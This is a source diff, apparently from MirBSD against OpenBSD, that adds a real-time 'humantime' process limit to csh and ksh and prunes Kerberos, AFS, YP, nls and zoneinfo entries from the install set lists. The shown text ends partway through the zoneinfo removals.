mksh/obsd.diff

Index: src/bin/csh/csh.1
===================================================================
RCS file: /cvs/src/bin/csh/csh.1,v
retrieving revision 1.42
diff -u -r1.42 csh.1
--- src/bin/csh/csh.1	13 Nov 2001 13:59:53 -0000	1.42
+++ src/bin/csh/csh.1	4 Mar 2003 16:52:39 -0000
@@ -1839,6 +1839,9 @@
 .Ar cputime
 (the maximum
 number of cpu-seconds to be used by each process),
+.Ar time
+(the maximum
+number of real seconds to be used by each process),
 .Ar filesize
 (the largest single file that can be created),
 .Ar datasize
Index: src/bin/csh/func.c
===================================================================
RCS file: /cvs/src/bin/csh/func.c,v
retrieving revision 1.15
diff -u -r1.15 func.c
--- src/bin/csh/func.c	9 Jun 2002 05:47:05 -0000	1.15
+++ src/bin/csh/func.c	4 Mar 2003 16:52:39 -0000
@@ -1156,6 +1156,7 @@
     { RLIMIT_MEMLOCK,	"memorylocked",	1024,	"kbytes" },
     { RLIMIT_NPROC,	"maxproc",	1,	"" },
     { RLIMIT_NOFILE,	"openfiles",	1,	"" },
+    { RLIMIT_TIME,	"humantime",	1,	"seconds" },
     { -1,		NULL,		0,	NULL }
 };
 
@@ -1235,17 +1236,17 @@
     }
     switch (*cp) {
     case ':':
-	if (lp->limconst != RLIMIT_CPU)
+	if (lp->limconst != RLIMIT_CPU && lp->limconst != RLIMIT_TIME)
 	    goto badscal;
 	return ((RLIM_TYPE) (f * 60.0 + atof(short2str(cp + 1))));
     case 'h':
-	if (lp->limconst != RLIMIT_CPU)
+	if (lp->limconst != RLIMIT_CPU && lp->limconst != RLIMIT_TIME)
 	    goto badscal;
 	limtail(cp, "hours");
 	f *= 3600.0;
 	break;
     case 'm':
-	if (lp->limconst == RLIMIT_CPU) {
+	if (lp->limconst == RLIMIT_CPU || lp->limconst == RLIMIT_TIME) {
 	    limtail(cp, "minutes");
 	    f *= 60.0;
 	    break;
@@ -1255,19 +1256,19 @@
 	f *= 1024.0 * 1024.0;
 	break;
     case 's':
-	if (lp->limconst != RLIMIT_CPU)
+	if (lp->limconst != RLIMIT_CPU && lp->limconst != RLIMIT_TIME)
 	    goto badscal;
 	limtail(cp, "seconds");
 	break;
     case 'M':
-	if (lp->limconst == RLIMIT_CPU)
+	if (lp->limconst == RLIMIT_CPU || lp->limconst == RLIMIT_TIME)
 	    goto badscal;
 	*cp = 'm';
 	limtail(cp, "megabytes");
 	f *= 1024.0 * 1024.0;
 	break;
     case 'k':
-	if (lp->limconst == RLIMIT_CPU)
+	if (lp->limconst == RLIMIT_CPU || lp->limconst == RLIMIT_TIME)
 	    goto badscal;
 	limtail(cp, "kbytes");
 	f *= 1024.0;
@@ -1314,7 +1315,7 @@
 
     if (limit == RLIM_INFINITY)
 	(void) fprintf(cshout, "unlimited");
-    else if (lp->limconst == RLIMIT_CPU)
+    else if (lp->limconst == RLIMIT_CPU || lp->limconst == RLIMIT_TIME)
 	psecs((long) limit);
     else
 	(void) fprintf(cshout, "%ld %s", (long) (limit / lp->limdiv),
Index: src/bin/ksh/c_ulimit.c
===================================================================
RCS file: /cvs/src/bin/ksh/c_ulimit.c,v
retrieving revision 1.9
diff -u -r1.9 c_ulimit.c
--- src/bin/ksh/c_ulimit.c	9 Jun 2002 05:47:05 -0000	1.9
+++ src/bin/ksh/c_ulimit.c	22 Mar 2003 15:03:26 -0000
@@ -1,3 +1,4 @@
+/*	$MirBSD: obsd.diff,v 1.32 2003/03/22 22:33:24 tg Exp $	*/
 /*	$OpenBSD: c_ulimit.c,v 1.9 2002/06/09 05:47:27 todd Exp $	*/
 
 /*
@@ -55,6 +56,9 @@
 		/* Do not use options -H, -S or -a */
 #ifdef RLIMIT_CPU
 		{ "time(cpu-seconds)", RLIMIT, RLIMIT_CPU, RLIMIT_CPU, 1, 't' },
+#endif
+#ifdef RLIMIT_TIME
+		{ "humantime(seconds)", RLIMIT, RLIMIT_TIME, RLIMIT_TIME, 1, 'T' },
 #endif
 #ifdef RLIMIT_FSIZE
 		{ "file(blocks)", RLIMIT, RLIMIT_FSIZE, RLIMIT_FSIZE, 512, 'f' },
Index: src/bin/ksh/history.c
===================================================================
RCS file: /cvs/src/bin/ksh/history.c,v
retrieving revision 1.17
diff -u -r1.17 history.c
--- src/bin/ksh/history.c	28 Feb 2003 09:44:47 -0000	1.17
+++ src/bin/ksh/history.c	4 Mar 2003 16:52:39 -0000
@@ -1017,8 +1017,8 @@
 	register int bytes;
 {
 	State state;
-	int	lno;
-	unsigned char	*line;
+	int	lno = 0;
+	unsigned char	*line = NULL;
 
 	for (state = shdr; bytes-- > 0; base++) {
 		switch (state) {
Index: src/bin/ksh/ksh.1tbl
===================================================================
RCS file: /cvs/src/bin/ksh/ksh.1tbl,v
retrieving revision 1.50
diff -u -r1.50 ksh.1tbl
--- src/bin/ksh/ksh.1tbl	20 Mar 2003 07:30:15 -0000	1.50
+++ src/bin/ksh/ksh.1tbl	22 Mar 2003 15:03:21 -0000
@@ -1,3 +1,4 @@
+.\"	$MirBSD: obsd.diff,v 1.32 2003/03/22 22:33:24 tg Exp $
 .\"	$OpenBSD: ksh.1tbl,v 1.50 2003/03/20 07:30:37 jmc Exp $
 .\"
 .\" Copyright (c) 1980, 1990, 1993
@@ -4018,6 +4018,11 @@
 .Ar n
 .Tn CPU
 seconds to be used by each process.
+.It Fl T Ar n
+Impose a real time limit of
+.Ar n
+.Tn human
+seconds to be used by each process.
 .El
 .Pp
 As far as
Index: src/distrib/Makefile
===================================================================
RCS file: /cvs/src/distrib/Makefile,v
retrieving revision 1.22
diff -u -r1.22 Makefile
--- src/distrib/Makefile	30 Jan 2003 21:58:56 -0000	1.22
+++ src/distrib/Makefile	4 Mar 2003 16:52:39 -0000
@@ -1,23 +1,14 @@
 #	$OpenBSD: Makefile,v 1.22 2003/01/30 21:59:18 deraadt Exp $
 
 .if	make(obj)
-SUBDIR= special alpha crunch hp300 hppa i386 mac68k macppc mvme68k \
+SUBDIR= special alpha hp300 hppa i386 mac68k macppc mvme68k \
 	mvme88k mvmeppc sparc sparc64 vax
 .elif	!make(install)
 SUBDIR= special
 .endif
-.if	make(clean) || make(cleandir)
-SUBDIR+=crunch
-.endif
 .if exists(${MACHINE})
 SUBDIR+= ${MACHINE}
 .endif
 SUBDIR+= notes
-
-#all: crunch-tools _SUBDIRUSE
-
-crunch-tools:
-	(cd $(.CURDIR)/crunch; $(MAKE) obj; \
-	 $(MAKE) depend && ${MAKE} && ${SUDO} ${MAKE} DESTDIR= install)
 
 .include <bsd.subdir.mk>
Index: src/distrib/sets/lists/base/md.i386
===================================================================
RCS file: /cvs/src/distrib/sets/lists/base/md.i386,v
retrieving revision 1.347
diff -u -r1.347 md.i386
--- src/distrib/sets/lists/base/md.i386	24 Feb 2003 01:17:16 -0000	1.347
+++ src/distrib/sets/lists/base/md.i386	4 Mar 2003 16:52:39 -0000
@@ -33,9 +33,6 @@
 ./usr/lib/gcc-lib/i386-unknown-openbsd3.3/2.95.3/cpp0
 ./usr/lib/gcc-lib/i386-unknown-openbsd3.3/2.95.3/include
 ./usr/lib/gcc-lib/i386-unknown-openbsd3.3/2.95.3/specs
-./usr/lib/lib45.so.2.0
-./usr/lib/libacl.so.6.0
-./usr/lib/libasn1.so.3.0
 ./usr/lib/libc.so.29.0
 ./usr/lib/libcrypto.so.9.0
 ./usr/lib/libcurses++.so.2.0
@@ -43,19 +40,11 @@
 ./usr/lib/libdes.so.8.0
 ./usr/lib/libedit.so.1.0
 ./usr/lib/libform.so.2.0
-./usr/lib/libg2c.so.7.0
-./usr/lib/libgssapi.so.2.0
 ./usr/lib/libiberty.so.5.0
-./usr/lib/libkadm.so.8.0
-./usr/lib/libkafs.so.11.0
-./usr/lib/libkdb.so.7.0
-./usr/lib/libkrb.so.11.0
-./usr/lib/libkrb5.so.5.0
 ./usr/lib/libkvm.so.7.0
 ./usr/lib/libm.so.1.0
 ./usr/lib/libmenu.so.2.0
 ./usr/lib/libncurses.so.9.0
-./usr/lib/libobjc.so.1.0
 ./usr/lib/libocurses.so.4.0
 ./usr/lib/libossaudio.so.2.0
 ./usr/lib/libotermcap.so.4.0
@@ -1405,6 +1394,7 @@
 ./usr/libdata/perl5/site_perl/i386-openbsd/i386/joystick.ph
 ./usr/libdata/perl5/site_perl/i386-openbsd/i386/limits.ph
 ./usr/libdata/perl5/site_perl/i386-openbsd/i386/linux_machdep.ph
+./usr/libdata/perl5/site_perl/i386-openbsd/i386/loadfile_machdep.ph
 ./usr/libdata/perl5/site_perl/i386-openbsd/i386/mouse.ph
 ./usr/libdata/perl5/site_perl/i386-openbsd/i386/npx.ph
 ./usr/libdata/perl5/site_perl/i386-openbsd/i386/param.ph
@@ -1419,6 +1409,7 @@
 ./usr/libdata/perl5/site_perl/i386-openbsd/i386/ptrace.ph
 ./usr/libdata/perl5/site_perl/i386-openbsd/i386/rbus_machdep.ph
 ./usr/libdata/perl5/site_perl/i386-openbsd/i386/reg.ph
+./usr/libdata/perl5/site_perl/i386-openbsd/i386/reloc.ph
 ./usr/libdata/perl5/site_perl/i386-openbsd/i386/segments.ph
 ./usr/libdata/perl5/site_perl/i386-openbsd/i386/setjmp.ph
 ./usr/libdata/perl5/site_perl/i386-openbsd/i386/signal.ph
@@ -1454,32 +1445,6 @@
 ./usr/libdata/perl5/site_perl/i386-openbsd/kerberosIV/krb_db.ph
 ./usr/libdata/perl5/site_perl/i386-openbsd/kerberosIV/krb_err.ph
 ./usr/libdata/perl5/site_perl/i386-openbsd/kerberosIV/prot.ph
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/admin.ph
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/asn1-common.ph
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/asn1_err.ph
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/der.ph
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/gssapi.ph
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/hdb-private.ph
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/hdb-protos.ph
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/hdb.ph
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/hdb_asn1.ph
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/hdb_err.ph
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/heim_err.ph
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/k524_err.ph
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/kadm5
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/kadm5/admin.ph
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/kadm5/kadm5_err.ph
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/kadm5/private.ph
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/kadm5_err.ph
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/kafs.ph
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/krb5-private.ph
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/krb5-protos.ph
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/krb5-types.ph
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/krb5.ph
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/krb5_asn1.ph
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/krb5_err.ph
-./usr/libdata/perl5/site_perl/i386-openbsd/kerberosV/private.ph
 ./usr/libdata/perl5/site_perl/i386-openbsd/keynote.ph
 ./usr/libdata/perl5/site_perl/i386-openbsd/kvm.ph
 ./usr/libdata/perl5/site_perl/i386-openbsd/langinfo.ph
@@ -2115,25 +2080,3 @@
 ./usr/sbin/wsfontload
 ./usr/sbin/wsmoused
 ./usr/sbin/zzz
-./usr/share/misc/pcvtfonts
-./usr/share/misc/pcvtfonts/iso8859-1-euro.816
-./usr/share/misc/pcvtfonts/iso8859-13.808
-./usr/share/misc/pcvtfonts/iso8859-13.810
-./usr/share/misc/pcvtfonts/iso8859-13.814
-./usr/share/misc/pcvtfonts/iso8859-13.816
-./usr/share/misc/pcvtfonts/koi8-r-8x08
-./usr/share/misc/pcvtfonts/koi8-r-8x10
-./usr/share/misc/pcvtfonts/koi8-r-8x14
-./usr/share/misc/pcvtfonts/koi8-r-8x16
-./usr/share/misc/pcvtfonts/koi8-u-8x08
-./usr/share/misc/pcvtfonts/koi8-u-8x10
-./usr/share/misc/pcvtfonts/koi8-u-8x14
-./usr/share/misc/pcvtfonts/koi8-u-8x16
-./usr/share/misc/pcvtfonts/vt220h.808
-./usr/share/misc/pcvtfonts/vt220h.810
-./usr/share/misc/pcvtfonts/vt220h.814
-./usr/share/misc/pcvtfonts/vt220h.816
-./usr/share/misc/pcvtfonts/vt220l.808
-./usr/share/misc/pcvtfonts/vt220l.810
-./usr/share/misc/pcvtfonts/vt220l.814
-./usr/share/misc/pcvtfonts/vt220l.816
Index: src/distrib/sets/lists/base/mi
===================================================================
RCS file: /cvs/src/distrib/sets/lists/base/mi,v
retrieving revision 1.263
diff -u -r1.263 mi
--- src/distrib/sets/lists/base/mi	2 Mar 2003 20:22:02 -0000	1.263
+++ src/distrib/sets/lists/base/mi	4 Mar 2003 16:52:40 -0000
@@ -45,7 +45,6 @@
 ./dev
 ./dev/MAKEDEV
 ./etc
-./etc/afs
 ./etc/amd
 ./etc/disklabels
 ./etc/isakmpd
@@ -53,7 +52,6 @@
 ./etc/isakmpd/certs
 ./etc/isakmpd/keynote
 ./etc/isakmpd/private
-./etc/kerberosIV
 ./etc/mail
 ./etc/mtree
 ./etc/ppp
@@ -144,6 +142,7 @@
 ./sbin/ttyflags
 ./sbin/tunefs
 ./sbin/umount
+./service
 ./stand
 ./tmp
 ./usr
@@ -152,11 +151,9 @@
 ./usr/bin/a2p
 ./usr/bin/addftinfo
 ./usr/bin/afmtodit
-./usr/bin/afslog
 ./usr/bin/apply
 ./usr/bin/apropos
 ./usr/bin/arch
-./usr/bin/asn1_compile
 ./usr/bin/at
 ./usr/bin/atq
 ./usr/bin/atrm
@@ -169,6 +166,7 @@
 ./usr/bin/bc
 ./usr/bin/bdes
 ./usr/bin/biff
+./usr/bin/brainfuck
 ./usr/bin/c2ph
 ./usr/bin/cal
 ./usr/bin/calendar
@@ -202,6 +200,7 @@
 ./usr/bin/dbmmanage
 ./usr/bin/dc
 ./usr/bin/deroff
+./usr/bin/dict
 ./usr/bin/diff
 ./usr/bin/diff3
 ./usr/bin/dirname
@@ -252,6 +251,7 @@
 ./usr/bin/head
 ./usr/bin/help
 ./usr/bin/hexdump
+./usr/bin/host
 ./usr/bin/hoststat
 ./usr/bin/hpftodit
 ./usr/bin/htdigest
@@ -270,12 +270,8 @@
 ./usr/bin/ipcs
 ./usr/bin/join
 ./usr/bin/jot
-./usr/bin/kauth
-./usr/bin/kdestroy
 ./usr/bin/kdump
 ./usr/bin/keynote
-./usr/bin/kinit
-./usr/bin/klist
 ./usr/bin/ktrace
 ./usr/bin/lam
 ./usr/bin/last
@@ -318,6 +314,7 @@
 ./usr/bin/msgs
 ./usr/bin/nawk
 ./usr/bin/nc
+./usr/bin/ndat
 ./usr/bin/neqn
 ./usr/bin/netstat
 ./usr/bin/newaliases
@@ -327,6 +324,7 @@
 ./usr/bin/nm
 ./usr/bin/nohup
 ./usr/bin/nroff
+./usr/bin/nslookup
 ./usr/bin/od
 ./usr/bin/oldrdist
 ./usr/bin/olf2elf
@@ -336,7 +334,6 @@
 ./usr/bin/otp-sha1
 ./usr/bin/page
 ./usr/bin/pagesize
-./usr/bin/pagsh
 ./usr/bin/passwd
 ./usr/bin/paste
 ./usr/bin/patch
@@ -415,7 +412,6 @@
 ./usr/bin/ssh-agent
 ./usr/bin/ssh-keygen
 ./usr/bin/ssh-keyscan
-./usr/bin/string2key
 ./usr/bin/strings
 ./usr/bin/su
 ./usr/bin/sudo
@@ -434,6 +430,7 @@
 ./usr/bin/tftp
 ./usr/bin/tic
 ./usr/bin/time
+./usr/bin/tinyirc
 ./usr/bin/tip
 ./usr/bin/tn3270
 ./usr/bin/top
@@ -460,7 +457,6 @@
 ./usr/bin/uudecode
 ./usr/bin/uuencode
 ./usr/bin/vacation
-./usr/bin/verify_krb5_conf
 ./usr/bin/vgrind
 ./usr/bin/vi
 ./usr/bin/view
@@ -478,13 +474,11 @@
 ./usr/bin/whois
 ./usr/bin/window
 ./usr/bin/write
+./usr/bin/wtf
 ./usr/bin/x99token
 ./usr/bin/xargs
 ./usr/bin/xsubpp
 ./usr/bin/yes
-./usr/bin/ypcat
-./usr/bin/ypmatch
-./usr/bin/ypwhich
 ./usr/bin/yyfix
 ./usr/bin/zcat
 ./usr/bin/zcmp
@@ -1414,15 +1408,10 @@
 ./usr/libdata/ssh
 ./usr/libdata/ssh/Ssh.bin
 ./usr/libexec
-./usr/libexec/afsd
 ./usr/libexec/auth
 ./usr/libexec/auth/login_activ
 ./usr/libexec/auth/login_chpass
 ./usr/libexec/auth/login_crypto
-./usr/libexec/auth/login_krb4
-./usr/libexec/auth/login_krb4-or-pwd
-./usr/libexec/auth/login_krb5
-./usr/libexec/auth/login_krb5-or-pwd
 ./usr/libexec/auth/login_lchpass
 ./usr/libexec/auth/login_passwd
 ./usr/libexec/auth/login_radius
@@ -1453,17 +1442,8 @@
 ./usr/libexec/ftpd
 ./usr/libexec/getNAME
 ./usr/libexec/getty
-./usr/libexec/hprop
-./usr/libexec/hpropd
 ./usr/libexec/identd
-./usr/libexec/ipropd-master
-./usr/libexec/ipropd-slave
-./usr/libexec/kadmind
-./usr/libexec/kauthd
-./usr/libexec/kdc
-./usr/libexec/kerberos
-./usr/libexec/kpasswdd
-./usr/libexec/kpropd
+./usr/libexec/ircbridge
 ./usr/libexec/locate.bigram
 ./usr/libexec/locate.code
 ./usr/libexec/locate.concatdb
@@ -1476,6 +1456,7 @@
 ./usr/libexec/makekey
 ./usr/libexec/makewhatis
 ./usr/libexec/ntalkd
+./usr/libexec/randshuffle
 ./usr/libexec/rpc.rquotad
 ./usr/libexec/rpc.rstatd
 ./usr/libexec/rpc.rusersd
@@ -1544,7 +1525,6 @@
 ./usr/sbin/bootpef
 ./usr/sbin/bootpgw
 ./usr/sbin/bootptest
-./usr/sbin/bos
 ./usr/sbin/certpatch
 ./usr/sbin/chat
 ./usr/sbin/chgrp
@@ -1557,13 +1537,10 @@
 ./usr/sbin/dev_mkdb
 ./usr/sbin/dhcpd
 ./usr/sbin/dhcrelay
-./usr/sbin/dig
 ./usr/sbin/editmap
 ./usr/sbin/edquota
-./usr/sbin/ext_srvtab
 ./usr/sbin/extattrctl
 ./usr/sbin/faithd
-./usr/sbin/fs
 ./usr/sbin/getencstat
 ./usr/sbin/getextattr
 ./usr/sbin/group
@@ -1571,19 +1548,9 @@
 ./usr/sbin/groupdel
 ./usr/sbin/groupinfo
 ./usr/sbin/groupmod
-./usr/sbin/host
 ./usr/sbin/httpd
 ./usr/sbin/inetd
 ./usr/sbin/iostat
-./usr/sbin/kadmin
-./usr/sbin/kdb_destroy
-./usr/sbin/kdb_edit
-./usr/sbin/kdb_init
-./usr/sbin/kdb_util
-./usr/sbin/kprop
-./usr/sbin/ksrvutil
-./usr/sbin/kstash
-./usr/sbin/ktutil
 ./usr/sbin/kvm_mkdb
 ./usr/sbin/logresolve
 ./usr/sbin/lpc
@@ -1591,12 +1558,9 @@
 ./usr/sbin/lptest
 ./usr/sbin/mailstats
 ./usr/sbin/mailwrapper
-./usr/sbin/makedbm
 ./usr/sbin/makemap
 ./usr/sbin/map-mbone
-./usr/sbin/mkalias
 ./usr/sbin/mkhybrid
-./usr/sbin/mknetid
 ./usr/sbin/mopa.out
 ./usr/sbin/mopchk
 ./usr/sbin/mopd
@@ -1606,13 +1570,8 @@
 ./usr/sbin/mrouted
 ./usr/sbin/mtrace
 ./usr/sbin/mtree
-./usr/sbin/named
-./usr/sbin/named-checkconf
-./usr/sbin/named-checkzone
 ./usr/sbin/ndp
 ./usr/sbin/netgroup_mkdb
-./usr/sbin/nslookup
-./usr/sbin/nsupdate
 ./usr/sbin/openssl
 ./usr/sbin/pac
 ./usr/sbin/pkg
@@ -1629,7 +1588,6 @@
 ./usr/sbin/pppstats
 ./usr/sbin/praliases
 ./usr/sbin/pstat
-./usr/sbin/pts
 ./usr/sbin/pwd_mkdb
 ./usr/sbin/quot
 ./usr/sbin/quotaoff
@@ -1639,19 +1597,15 @@
 ./usr/sbin/rdate
 ./usr/sbin/rdconfig
 ./usr/sbin/repquota
-./usr/sbin/revnetgroup
 ./usr/sbin/rip6query
 ./usr/sbin/rmgroup
 ./usr/sbin/rmt
 ./usr/sbin/rmuser
-./usr/sbin/rndc
-./usr/sbin/rndc-confgen
 ./usr/sbin/rotatelogs
 ./usr/sbin/route6d
 ./usr/sbin/rpc.bootparamd
 ./usr/sbin/rpc.lockd
 ./usr/sbin/rpc.pcnfsd
-./usr/sbin/rpc.yppasswdd
 ./usr/sbin/rtadvd
 ./usr/sbin/rtsold
 ./usr/sbin/rwhod
@@ -1668,8 +1622,6 @@
 ./usr/sbin/spppcontrol
 ./usr/sbin/spray
 ./usr/sbin/sshd
-./usr/sbin/stdethers
-./usr/sbin/stdhosts
 ./usr/sbin/suexec
 ./usr/sbin/supfilesrv
 ./usr/sbin/supscan
@@ -1694,18 +1646,6 @@
 ./usr/sbin/vipw
 ./usr/sbin/visudo
 ./usr/sbin/vnconfig
-./usr/sbin/vos
-./usr/sbin/ypbind
-./usr/sbin/ypinit
-./usr/sbin/yppoll
-./usr/sbin/yppush
-./usr/sbin/ypserv
-./usr/sbin/ypset
-./usr/sbin/yptest
-./usr/sbin/ypxfr
-./usr/sbin/ypxfr_1perday
-./usr/sbin/ypxfr_1perhour
-./usr/sbin/ypxfr_2perday
 ./usr/sbin/zdump
 ./usr/sbin/zic
 ./usr/share
@@ -2033,6 +1973,7 @@
 ./usr/share/man/cat8/usermod.0
 ./usr/share/man/whatis.db
 ./usr/share/misc
+./usr/share/misc/acronyms
 ./usr/share/misc/airport
 ./usr/share/misc/ascii
 ./usr/share/misc/birthtoken
@@ -2073,26 +2014,6 @@
 ./usr/share/mk/bsd.sys.mk
 ./usr/share/mk/sys.mk
 ./usr/share/nls
-./usr/share/nls/C
-./usr/share/nls/C/libc.cat
-./usr/share/nls/Pig
-./usr/share/nls/Pig/libc.cat
-./usr/share/nls/de
-./usr/share/nls/de/libc.cat
-./usr/share/nls/es
-./usr/share/nls/es/libc.cat
-./usr/share/nls/fi
-./usr/share/nls/fi/libc.cat
-./usr/share/nls/fr
-./usr/share/nls/fr/libc.cat
-./usr/share/nls/nl
-./usr/share/nls/nl/libc.cat
-./usr/share/nls/no
-./usr/share/nls/no/libc.cat
-./usr/share/nls/ru
-./usr/share/nls/ru/libc.cat
-./usr/share/nls/sv
-./usr/share/nls/sv/libc.cat
 ./usr/share/pf
 ./usr/share/pf/ackpri
 ./usr/share/pf/queue1
@@ -2354,1121 +2275,11 @@
 ./usr/share/vi/catalog/spanish
 ./usr/share/vi/catalog/swedish
 ./usr/share/zoneinfo
-./usr/share/zoneinfo/Africa
-./usr/share/zoneinfo/Africa/Abidjan
-./usr/share/zoneinfo/Africa/Accra
-./usr/share/zoneinfo/Africa/Addis_Ababa
-./usr/share/zoneinfo/Africa/Algiers
-./usr/share/zoneinfo/Africa/Asmera
-./usr/share/zoneinfo/Africa/Bamako
-./usr/share/zoneinfo/Africa/Bangui
-./usr/share/zoneinfo/Africa/Banjul
-./usr/share/zoneinfo/Africa/Bissau
-./usr/share/zoneinfo/Africa/Blantyre
-./usr/share/zoneinfo/Africa/Brazzaville
-./usr/share/zoneinfo/Africa/Bujumbura
-./usr/share/zoneinfo/Africa/Cairo
-./usr/share/zoneinfo/Africa/Casablanca
-./usr/share/zoneinfo/Africa/Ceuta
-./usr/share/zoneinfo/Africa/Conakry
-./usr/share/zoneinfo/Africa/Dakar
-./usr/share/zoneinfo/Africa/Dar_es_Salaam
-./usr/share/zoneinfo/Africa/Djibouti
-./usr/share/zoneinfo/Africa/Douala
-./usr/share/zoneinfo/Africa/El_Aaiun
-./usr/share/zoneinfo/Africa/Freetown
-./usr/share/zoneinfo/Africa/Gaborone
-./usr/share/zoneinfo/Africa/Harare
-./usr/share/zoneinfo/Africa/Johannesburg
-./usr/share/zoneinfo/Africa/Kampala
-./usr/share/zoneinfo/Africa/Khartoum
-./usr/share/zoneinfo/Africa/Kigali
-./usr/share/zoneinfo/Africa/Kinshasa
-./usr/share/zoneinfo/Africa/Lagos
-./usr/share/zoneinfo/Africa/Libreville
-./usr/share/zoneinfo/Africa/Lome
-./usr/share/zoneinfo/Africa/Luanda
-./usr/share/zoneinfo/Africa/Lubumbashi
-./usr/share/zoneinfo/Africa/Lusaka
-./usr/share/zoneinfo/Africa/Malabo
-./usr/share/zoneinfo/Africa/Maputo
-./usr/share/zoneinfo/Africa/Maseru
-./usr/share/zoneinfo/Africa/Mbabane
-./usr/share/zoneinfo/Africa/Mogadishu
-./usr/share/zoneinfo/Africa/Monrovia
-./usr/share/zoneinfo/Africa/Nairobi
-./usr/share/zoneinfo/Africa/Ndjamena
-./usr/share/zoneinfo/Africa/Niamey
-./usr/share/zoneinfo/Africa/Nouakchott
-./usr/share/zoneinfo/Africa/Ouagadougou
-./usr/share/zoneinfo/Africa/Porto-Novo
-./usr/share/zoneinfo/Africa/Sao_Tome
-./usr/share/zoneinfo/Africa/Timbuktu
-./usr/share/zoneinfo/Africa/Tripoli
-./usr/share/zoneinfo/Africa/Tunis
-./usr/share/zoneinfo/Africa/Windhoek
-./usr/share/zoneinfo/America
-./usr/share/zoneinfo/America/Adak
-./usr/share/zoneinfo/America/Anchorage
-./usr/share/zoneinfo/America/Anguilla
-./usr/share/zoneinfo/America/Antigua
-./usr/share/zoneinfo/America/Araguaina
-./usr/share/zoneinfo/America/Aruba
-./usr/share/zoneinfo/America/Asuncion
-./usr/share/zoneinfo/America/Atka
-./usr/share/zoneinfo/America/Barbados
-./usr/share/zoneinfo/America/Belem
-./usr/share/zoneinfo/America/Belize
-./usr/share/zoneinfo/America/Boa_Vista
-./usr/share/zoneinfo/America/Bogota
-./usr/share/zoneinfo/America/Boise
-./usr/share/zoneinfo/America/Buenos_Aires
-./usr/share/zoneinfo/America/Cambridge_Bay
-./usr/share/zoneinfo/America/Cancun
-./usr/share/zoneinfo/America/Caracas
-./usr/share/zoneinfo/America/Catamarca
-./usr/share/zoneinfo/America/Cayenne
-./usr/share/zoneinfo/America/Cayman
-./usr/share/zoneinfo/America/Chicago
-./usr/share/zoneinfo/America/Chihuahua
-./usr/share/zoneinfo/America/Cordoba
-./usr/share/zoneinfo/America/Costa_Rica
-./usr/share/zoneinfo/America/Cuiaba
-./usr/share/zoneinfo/America/Curacao
-./usr/share/zoneinfo/America/Danmarkshavn
-./usr/share/zoneinfo/America/Dawson
-./usr/share/zoneinfo/America/Dawson_Creek
-./usr/share/zoneinfo/America/Denver
-./usr/share/zoneinfo/America/Detroit
-./usr/share/zoneinfo/America/Dominica
-./usr/share/zoneinfo/America/Edmonton
-./usr/share/zoneinfo/America/Eirunepe
-./usr/share/zoneinfo/America/El_Salvador
-./usr/share/zoneinfo/America/Ensenada
-./usr/share/zoneinfo/America/Fort_Wayne
-./usr/share/zoneinfo/America/Fortaleza
-./usr/share/zoneinfo/America/Glace_Bay
-./usr/share/zoneinfo/America/Godthab
-./usr/share/zoneinfo/America/Goose_Bay
-./usr/share/zoneinfo/America/Grand_Turk
-./usr/share/zoneinfo/America/Grenada
-./usr/share/zoneinfo/America/Guadeloupe
-./usr/share/zoneinfo/America/Guatemala
-./usr/share/zoneinfo/America/Guayaquil
-./usr/share/zoneinfo/America/Guyana
-./usr/share/zoneinfo/America/Halifax
-./usr/share/zoneinfo/America/Havana
-./usr/share/zoneinfo/America/Hermosillo
-./usr/share/zoneinfo/America/Indiana
-./usr/share/zoneinfo/America/Indiana/Indianapolis
-./usr/share/zoneinfo/America/Indiana/Knox
-./usr/share/zoneinfo/America/Indiana/Marengo
-./usr/share/zoneinfo/America/Indiana/Vevay
-./usr/share/zoneinfo/America/Indianapolis
-./usr/share/zoneinfo/America/Inuvik
-./usr/share/zoneinfo/America/Iqaluit
-./usr/share/zoneinfo/America/Jamaica
-./usr/share/zoneinfo/America/Jujuy
-./usr/share/zoneinfo/America/Juneau
-./usr/share/zoneinfo/America/Kentucky
-./usr/share/zoneinfo/America/Kentucky/Louisville
-./usr/share/zoneinfo/America/Kentucky/Monticello
-./usr/share/zoneinfo/America/Knox_IN
-./usr/share/zoneinfo/America/La_Paz
-./usr/share/zoneinfo/America/Lima
-./usr/share/zoneinfo/America/Los_Angeles
-./usr/share/zoneinfo/America/Louisville
-./usr/share/zoneinfo/America/Maceio
-./usr/share/zoneinfo/America/Managua
-./usr/share/zoneinfo/America/Manaus
-./usr/share/zoneinfo/America/Martinique
-./usr/share/zoneinfo/America/Mazatlan
-./usr/share/zoneinfo/America/Mendoza
-./usr/share/zoneinfo/America/Menominee
-./usr/share/zoneinfo/America/Merida
-./usr/share/zoneinfo/America/Mexico_City
-./usr/share/zoneinfo/America/Miquelon
-./usr/share/zoneinfo/America/Monterrey
-./usr/share/zoneinfo/America/Montevideo
-./usr/share/zoneinfo/America/Montreal
-./usr/share/zoneinfo/America/Montserrat
-./usr/share/zoneinfo/America/Nassau
-./usr/share/zoneinfo/America/New_York
-./usr/share/zoneinfo/America/Nipigon
-./usr/share/zoneinfo/America/Nome
-./usr/share/zoneinfo/America/Noronha
-./usr/share/zoneinfo/America/North_Dakota
